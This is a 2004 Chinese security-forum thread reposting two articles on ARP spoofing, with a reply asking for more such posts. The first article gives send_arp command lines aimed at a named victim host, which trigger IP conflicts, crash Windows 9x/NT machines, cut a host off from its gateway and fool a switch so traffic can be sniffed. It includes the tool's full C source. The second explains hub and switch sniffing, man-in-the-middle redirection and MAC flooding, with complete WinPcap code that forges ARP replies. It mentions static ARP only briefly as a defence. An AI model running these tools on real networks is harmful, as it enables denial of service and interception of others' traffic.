论坛: 菜鸟乐园 标题: 【转载】ARP技术相关资料 复制本贴地址    
作者: abctm [abctm]    版主   登录
【来源:网络】
【作者:不祥】
【标题:玩转ARP】

我写这片文章只是想让你明白深刻理解某一协议的好处。

高手免看。

如果有人利用这片文章所做的一切事情,盖不负责。


网上关于ARP的资料已经很多了,就不用我都说了。

用某一位高手的话来说,"我们能做的事情很多,唯一受

限制的是我们的创造力和想象力"。


ARP也是如此。


以下讨论的机子有

一个要攻击的机子:10.5.4.178

硬件地址:52:54:4C:98:EE:2F

我的机子: :10.5.3.69

硬件地址:52:54:4C:98:ED:C5

网关: 10.5.0.3

硬件地址:00:90:26:3D:0C:F3

一台交换机另一端口的机子:10.5.3.3

硬件地址:52:54:4C:98:ED:F7


一:用ARP破WINDOWS的屏保

原理:利用IP冲突的级别比屏保高,当有冲突时,就会

跳出屏保。

关键:ARP包的数量适当。

[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 \

10.5.4.178 52:54:4C:98:EE:2F 40


二:用ARP导致IP冲突,死机

原理:WINDOWS 9X,NT4在处理IP冲突时,处理不过来,导致死机。

注: 对WINDOWS 2K,LINUX相当于flooding,只是比一般的FLOODING

有效的多.对LINUX,明显系统被拖慢。

[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 \

10.5.4.178 52:54:4C:98:EE:2F 999999999


三:用ARP欺骗网关,可导致局域网的某台机子出不了网关。

原理:用ARP应答包去刷新对应着要使之出不去的机子。

[root@sztcww tools]# ./send_arp 10.5.4.178 52:54:4C:98:EE:22 \

10.5.4.178 00:90:26:3D:0C:F3 1

注意:如果单单如上的命令,大概只能有效几秒钟,网关机子里的ARP

高速缓存会被被攻击的机子正确刷新,于是只要...


四:用ARP欺骗交换机,可监听到交换机另一端的机子。

可能需要修改一下send_arp.c,构造如下的数据包。

ethhdr

srchw:52:54:4C:98:ED:F7--->dsthw:FF:FF:FF:FF:FF:FF proto:806H

arphdr

hwtype:1 protol:800H hw_size:6 pro_size:4 op:1

s_ha:52:54:4C:98:ED:F7 s_ip:10.5.3.3

d_ha:00:00:00:00:00:00 d_ip:10.5.3.3

然后就可以sniffer了。

原理:

交换机是具有记忆MAC地址功能的,它维护一张MAC地址和它的口号表

所以你可以先来个ARP 欺骗,然后就可以监听了

不过需要指出,欺骗以后,同一个MAC地址就有两个端口号

yuange说,"这样其实就是一个竞争问题。"

好象ARP 以后,对整个网络会有点影响,不过我不敢确定

既然是竞争,所以监听也只能监听一部分,不象同一HUB下的监听。

对被监听者会有影响,因为他掉了一部分数据。


当然还有其他一些应用,需要其他技术的配合。

以下是send_arp.c的源程序


/*

This program sends out one ARP packet with source/target IP

and Ethernet hardware addresses suuplied by the user. It

compiles and works on Linux and will probably work on any

Unix that has SOCK_PACKET. volobuev@t1.chem.umn.edu

*/

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#define ETH_HW_ADDR_LEN 6

#define IP_ADDR_LEN 4

#define ARP_FRAME_TYPE 0x0806

#define ETHER_HW_TYPE 1

#define IP_PROTO_TYPE 0x0800

#define OP_ARP_REQUEST 2

#define OP_ARP_QUEST 1

#define DEFAULT_DEVICE "eth0"

char usage[] = {"send_arp: sends out custom ARP packet. yuri volobuev

usage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr number"};

struct arp_packet

{

u_char targ_hw_addr[ETH_HW_ADDR_LEN];

u_char src_hw_addr[ETH_HW_ADDR_LEN];

u_short frame_type;

u_short hw_type;

u_short prot_type;

u_char hw_addr_size;

u_char prot_addr_size;

u_short op;

u_char sndr_hw_addr[ETH_HW_ADDR_LEN];

u_char sndr_ip_addr[IP_ADDR_LEN];

u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];

u_char rcpt_ip_addr[IP_ADDR_LEN];

u_char padding[18];

};

void die (char *);

void get_ip_addr (struct in_addr *, char *);

void get_hw_addr (char *, char *);

int main (int argc, char * argv[])

{

struct in_addr src_in_addr, targ_in_addr;

struct arp_packet pkt;

struct sockaddr sa;

int sock;

int j,number;

if (argc != 6)

die(usage);

sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP));

if (sock <0)

{

perror("socket");

exit(1);

}

number=atoi(argv[5]);

pkt.frame_type = htons(ARP_FRAME_TYPE);

pkt.hw_type = htons(ETHER_HW_TYPE);

pkt.prot_type = htons(IP_PROTO_TYPE);

pkt.hw_addr_size = ETH_HW_ADDR_LEN;

pkt.prot_addr_size = IP_ADDR_LEN;

pkt.op = htons(OP_ARP_QUEST);

get_hw_addr(pkt.targ_hw_addr, argv[4]);

get_hw_addr(pkt.rcpt_hw_addr, argv[4]);

get_hw_addr(pkt.src_hw_addr, argv[2]);

get_hw_addr(pkt.sndr_hw_addr, argv[2]);

get_ip_addr(&src_in_addr, argv[1]);

get_ip_addr(&targ_in_addr, argv[3]);

memcpy(pkt.sndr_ip_addr, &src_in_addr, IP_ADDR_LEN);

memcpy(pkt.rcpt_ip_addr, &targ_in_addr, IP_ADDR_LEN);

bzero(pkt.padding,18);

strcpy(sa.sa_data,DEFAULT_DEVICE);

for (j=0;j{

if (sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) <0)

{

perror("sendto");

exit(1);

}

}

exit(0);

}

void die (char *str)

{

fprintf(stderr,"%s\n",str);

exit(1);

}

void get_ip_addr (struct in_addr *in_addr, char *str)

{

struct hostent *hostp;

in_addr->s_addr = inet_addr(str);

if(in_addr->s_addr == -1)

{

if ((hostp = gethostbyname(str)))

bcopy(hostp->h_addr, in_addr, hostp->h_length);

else {

fprintf(stderr, "send_arp: unknown host %s\n", str);

exit(1);

}

}

}

void get_hw_addr (char *buf, char *str)

{

int i;

char c, val;

for(i = 0; i {

if (!(c = tolower(*str++)))

die("Invalid hardware address");

if (isdigit(c))

val = c - '0';

else if (c >= 'a' && c <
val = c-'a'+10;

else

die("Invalid hardware address");

*buf = val << 4;

if (!(c = tolower(*str++)))

die("Invalid hardware address");

if (isdigit(c))

val = c - '0';

else if (c >= 'a' && c <
val = c-'a'+10;

else

die("Invalid hardware address");

*buf++ |= val;

if (*str == ':')

str++;

}

}




地主 发表时间: 04-07-10 20:35

回复: abctm [abctm]   版主   登录
交换网络中的嗅探和ARP欺骗

Author: Refdom
Email:  refdom@263.net
HomePage: http://www.opengram.com
2002-4-6


  以太网内的嗅探(sniff)对于网络安全来说并不是什么好事,虽然对于网络管理员能够跟踪数据包并且发现
网络问题,但是如果被破坏者利用的话,就对整个网络构成严重的安全威胁。至于嗅探的好处和坏处就不罗嗦了。


ARP缓存表
  假设这样一个网络:

            ――――――――――
            |      HUB        |
            ――――――――――
                |      |      |
                |      |      |
                |      |      |
            HostA  HostB  HostC

其中
A的地址为:IP:192.168.10.1    MAC: AA-AA-AA-AA-AA-AA
B的地址为:IP:192.168.10.2    MAC: BB-BB-BB-BB-BB-BB
C的地址为:IP:192.168.10.3    MAC: CC-CC-CC-CC-CC-CC

假设B是属于一个嗅探爱好者的,比如A机器的ARP缓存:

C:\>arp -a

Interface: 192.168.10.1 on Interface 0x1000003
  Internet Address      Physical Address      Type
  192.168.10.3          CC-CC-CC-CC-CC-CC    dynamic

    这是192.168.10.1机器上的ARP缓存表,假设,A进行一次ping 192.168.10.3操作,PING主机C,会查询本地的
ARP缓存表,找到C的IP地址的MAC地址,那么就会进行数据传输,目的地就是C 的MAC地址。如果A中没有C的ARP记
录,那么A首先要广播一次ARP请求,当C接收到A 的请求后就发送一个应答,应答中包含有C的MAC地址,然后A接
收到C的应答,就会更新本地的ARP缓存。接着使用这个MAC地址发送数据(由网卡附加MAC地址)。
    因此,本地高速缓存的这个ARP表是本地网络流通的基础,而且这个缓存是动态的。


集线器网络(Hub-Based)

    很多网络都是用Hub进行连接的。数据包经过Hub传输到其他计算机的时候,Hub只是简单地把这个数据包广播
到Hub的所有端口上。
    这就是上面举例中的一种网络结构。

    现在A需要发送TCP数据包给C。首先,A需要检查本地的ARP 缓存表,查看是否有IP为192.168.10.3即C的ARP记
录,如果没有那么A将要广播一个ARP请求,当C接收到这个请求后,就作出应答,然后A更新自己的ARP缓存表。并
且获得与C的IP相对应的MAC地址。这时就传输这个TCP数据包,Ethernet帧中就包含了C的MAC地址。当数据包传输
到HUB的时候,HUB直接把整个数据包广播到所有的端口,然后C就能够接收到A发送的数据包。

    正因为HUB把数据广播到所有的端口,所以计算机B也能够收到A发送给C的数据包。这正是达到了B嗅探的目的。

    因此,Hub-Based的网络基本没有安全可言,嗅探在这样的网络中非常容易。


交换网络(Switched Lan)

    交换机用来代替HUB,正是为了能够解决HUB的几个安全问题,其中就是能够来解决嗅探问题。Switch不是把数
据包进行端口广播,它将通过自己的ARP缓存来决定数据包传输到那个端口上。因此,在交换网络上,如果把上面
例子中的HUB换为Switch,B就不会接收到A发送给C的数据包,即便设置网卡为混杂模式,也不能进行嗅探。


ARP欺骗( ARP spoofing)

    ARP协议并不只在发送了ARP请求才接收ARP应答。当计算机接收到ARP应答数据包的时候,就会对本地的ARP缓存
进行更新,将应答中的IP和MAC地址存储在ARP缓存中。因此,在上面的假设网络中,B向A发送一个自己伪造的ARP应
答,而这个应答中的数据为发送方IP地址是192.168.10.3(C的IP地址),MAC地址是DD-DD-DD-DD-DD-DD(C的MAC地
址本来应该是CC-CC-CC-CC-CC-CC,这里被伪造了)。当A接收到B伪造的ARP应答,就会更新本地的ARP缓存(A可不
知道被伪造了)。

现在A机器的ARP缓存更新了:

C:\>arp -a

Interface: 192.168.10.1 on Interface 0x1000003
  Internet Address      Physical Address      Type
  192.168.10.3          DD-DD-DD-DD-DD-DD    dynamic

    这可不是小事。局域网的网络流通可不是根据IP地址进行,而是按照MAC地址进行传输。现在192.168.10.3的
MAC地址在A上被改变成一个本不存在的MAC地址。现在A开始Ping 192.168.10.3,网卡递交的MAC地址是
DD-DD-DD-DD-DD-DD,结果是什么呢?网络不通,A根本不能Ping通C!!

    这就是一个简单的ARP欺骗。

    我们来实现这样的ARP欺骗。这里需要使用一个WinPcap提供的API和驱动。(http://winpcap.polito.it/)
winpcap是一个伟大而且开放的项目。Windows环境下的nmap、snort、windump都是使用的winpcap。

///////////////////////////////////////////////////////////////////////////////
//
//                ARP Sender
//
//          Creator:    Refdom
//          Email:      refdom@263.net
//          Home Page:  www.opengram.com
//
//          2002/4/7
//
////////////////////////////////////////////////////////////////////////////////

#include "stdafx.h"
#include "Mac.h" //GetMacAddr(),我写的把字符串转换为MAC地址的函数,就不列在这里了
#include <stdio.h>
#include <Packet32.h>

#define EPT_IP 0x0800 /* type: IP */
#define EPT_ARP 0x0806 /* type: ARP */
#define EPT_RARP 0x8035 /* type: RARP */
#define ARP_HARDWARE 0x0001 /* Dummy type for 802.3 frames  */
#define ARP_REQUEST 0x0001 /* ARP request */
#define ARP_REPLY 0x0002 /* ARP reply */

#define Max_Num_Adapter 10

#pragma pack(push, 1)

typedef struct ehhdr
{
unsigned char eh_dst[6]; /* destination ethernet addrress */
unsigned char eh_src[6]; /* source ethernet addresss */
unsigned short eh_type; /* ethernet pachet type */
}EHHDR, *PEHHDR;


typedef struct arphdr
{
unsigned short arp_hrd; /* format of hardware address */
unsigned short arp_pro; /* format of protocol address */
unsigned char arp_hln; /* length of hardware address */
unsigned char arp_pln; /* length of protocol address */
unsigned short arp_op; /* ARP/RARP operation */

unsigned char arp_sha[6]; /* sender hardware address */
unsigned long arp_spa; /* sender protocol address */
unsigned char arp_tha[6]; /* target hardware address */
unsigned long arp_tpa; /* target protocol address */
}ARPHDR, *PARPHDR;

typedef struct arpPacket
{
EHHDR ehhdr;
ARPHDR arphdr;
} ARPPACKET, *PARPPACKET;

#pragma pack(pop)

int main(int argc, char* argv[])
{
static char AdapterList[Max_Num_Adapter][1024];
char szPacketBuf[600];
char MacAddr[6];

LPADAPTER lpAdapter;
LPPACKET lpPacket;
WCHAR AdapterName[2048];
WCHAR *temp,*temp1;
ARPPACKET ARPPacket;

ULONG AdapterLength = 1024;

int AdapterNum = 0;
int nRetCode, i;

//Get The list of Adapter
if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE)
{
printf("Unable to retrieve the list of the adapters!\n");
return 0;
}

temp = AdapterName;
temp1=AdapterName;
i = 0;
while ((*temp != '\0')||(*(temp-1) != '\0'))
{
if (*temp == '\0')
{
memcpy(AdapterList[i],temp1,(temp-temp1)*2);
temp1=temp+1;
i++;
}

temp++;
}

AdapterNum = i;
for (i = 0; i < AdapterNum; i++)
wprintf(L"\n%d- %s\n", i+1, AdapterList[i]);
printf("\n");

//Default open the 0
lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[0]);
        //取第一个网卡(假设啦)

if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
{
nRetCode = GetLastError();
printf("Unable to open the driver, Error Code : %lx\n", nRetCode);
return 0;
}

lpPacket = PacketAllocatePacket();
if(lpPacket == NULL)
{
printf("\nError:failed to allocate the LPPACKET structure.");
return 0;
}

ZeroMemory(szPacketBuf, sizeof(szPacketBuf));

if (!GetMacAddr("BBBBBBBBBBBB", MacAddr))
{
printf ("Get Mac address error!\n");
}
memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6);    //源MAC地址

if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
{
printf ("Get Mac address error!\n");
return 0;
}
memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6);    //目的MAC地址。(A的地址)

ARPPacket.ehhdr.eh_type = htons(EPT_ARP);

ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);
ARPPacket.arphdr.arp_pro = htons(EPT_IP);
ARPPacket.arphdr.arp_hln = 6;
ARPPacket.arphdr.arp_pln = 4;
ARPPacket.arphdr.arp_op = htons(ARP_REPLY);

if (!GetMacAddr("DDDDDDDDDDDD", MacAddr))
{
printf ("Get Mac address error!\n");
return 0;
}
memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6); //伪造的C的MAC地址
ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3");  //C的IP地址

if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
{
printf ("Get Mac address error!\n");
return 0;
}
memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6);  //目标A的MAC地址
ARPPacket.arphdr.arp_tpa = inet_addr("192.168.10.1");  //目标A的IP地址

memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));
PacketInitPacket(lpPacket, szPacketBuf, 60);

if(PacketSetNumWrites(lpAdapter, 2)==FALSE)
{
printf("warning: Unable to send more than one packet in a single write!\n");
}

if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)
{
printf("Error sending the packets!\n");
return 0;
}

printf ("Send ok!\n");

// close the adapter and exit
PacketFreePacket(lpPacket);
PacketCloseAdapter(lpAdapter);
return 0;
}

    于是A接收到一个被伪造的ARP应答。A被欺骗了!!倘若在局域网中看某某机器不顺眼,……


    以太网中的嗅探太有作用了,但是交换网络对嗅探进行了限制,让嗅探深入程度大打折扣。不过,很容易就能
够发现,主机、Switch(动态更新地址表类型,下同)中的缓存表依然是(主要是)动态的。要在一个交换网络中
进行有效的嗅探工作(地下党?),需要采用对付各种缓存表的办法,连骗带哄,甚至乱踹,在上面的ARP欺骗基础
中我们就能够做到。


对目标进行ARP欺骗

    就象上面程序中实现的一样,对目标A进行欺骗,A去Ping主机C却发送到了DD-DD-DD-DD-DD-DD这个地址上。如
果进行欺骗的时候,把C的MAC地址骗为BB-BB-BB-BB-BB-BB,于是A发送到C上的数据包都变成发送给B的了。这不正
好是B能够接收到A发送的数据包了么,嗅探成功。
    A对这个变化一点都没有意识到,但是接下来的事情就让A产生了怀疑。因为A和C连接不上了!!B对接收到A发送
给C的数据包可没有转交给C。
    做“man in the middle”,进行ARP重定向。打开B的IP转发功能,A发送过来的数据包,转发给C,好比一个路由
器一样。不过,假如B发送ICMP重定向的话就中断了整个计划。
  直接进行整个包的修改转发,捕获到A发送给的数据包,全部进行修改后再转发给C,而C接收到的数据包完全认为
是从A发送来的。不过,C发送的数据包又直接传递给A,倘若再次进行对C的ARP欺骗。现在B就完全成为A与C的中间桥
梁了。


对Switch的MAC欺骗

  Switch上同样维护着一个动态的MAC缓存,它一般是这样,首先,交换机内部有一个对应的列表,交换机的端口对
应MAC地址表Port n <-> Mac记录着每一个端口下面存在那些MAC地址,这个表开始是空的,交换机从来往数据帧中学
习。举例来说,当Port 1口所接的计算机发出了一个数据帧,这帧数据从Port 1进入交换机,交换机就取这个数据帧
的原MAC地址AAAA,然后在地址表中记录:Port 1 <-> AAAA, 以后,所有发向MAC地址为AAAA的数据帧,就全从Port 1
口输出,而不会从其它的口输出。

  跟前面对目标进行欺骗相类似。如果把Switch上的MAC-PORT表修改了,那么对应的MAC和PORT就一样跟着改变,本来
不应该发送到嗅探器的数据结果发送过来了,这样也达到了嗅探的目的。修改本地(B)发送的数据包MAC地址为原来A的
MAC地址,当经过交换机的时候,交换机发现端口B对应的地址是机器A的MAC地址,于是就将会把A的MAC地址同端口B相对
应,从而把发送给A的数据从端口B传输了,本来这些应该是传送到端口A的。因此,从机器B就能够获得发送给A的数据。

  但是,这里有一个问题,A将接收不到数据了。嗅探不目的并不是要去破坏正常的数据通讯。同时,从刚才的欺骗中,
让交换机中一个MAC地址对应了多个端口,这种对于交换机处理还不清楚。还请多指教。


对Switch进行Flood

    就象上面介绍Switch的MAC和Port对应关系形成的原理,因为MAC-PORT缓存表是动态更新的,那么让整个Switch的端
口表都改变,对Switch进行MAC地址欺骗的Flood,不断发送大量假MAC地址的数据包,Switch就更新MAC-PORT缓存,如果
能通过这样的办法把以前正常的MAC和Port对应的关系破坏了,那么Switch就会进行泛洪发送给每一个端口,让Switch基
本变成一个HUB,向所有的端口发送数据包,要嗅探的目的一样能够达到。

    存在的问题,Switch对这种极限情况的处理,因为属于不正常情况,可能会引起包丢失情况。而且现在对这种极限情
况的Switch状态还很不了解。如果对网络通讯造成了大的破坏,这不属于正常的嗅探(嗅探也会引起一些丢失)。


    对Switch进行各种手段的操作,需要小心,如果打开了端口保护,那么可能会让交换机关闭所有用户。因此,对交换
机这样的设备进行欺骗或者其他操作,还不如对一些上级设备进行欺骗,比如目标主机或者路由器。

    至于上面关于嗅探的手段都是基于这个动态表进行的。因此,使用静态的ARP就能够进行防范了。对于WIN,使用
arp -s 来进行静态ARP的设置。

  感谢winpcap这个开放项目,也感谢Dancefire提供的大量帮助和指正。我在网络设备上的了解还很不够,还请多指正。

B1层 发表时间: 04-07-10 20:36

回复: lijingxi [lijingxi]   见习版主   登录
双星!有时间发一些ARP欺骗技术的帖子吧!
我这几天电脑坏了!上网少了!一直想学这方面技术!
你老人家要是有时间就多发一些这方面的吧!


[此贴被 斯文败类(lijingxi) 在 07月10日21时31分 编辑过]

B2层 发表时间: 04-07-10 21:30

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号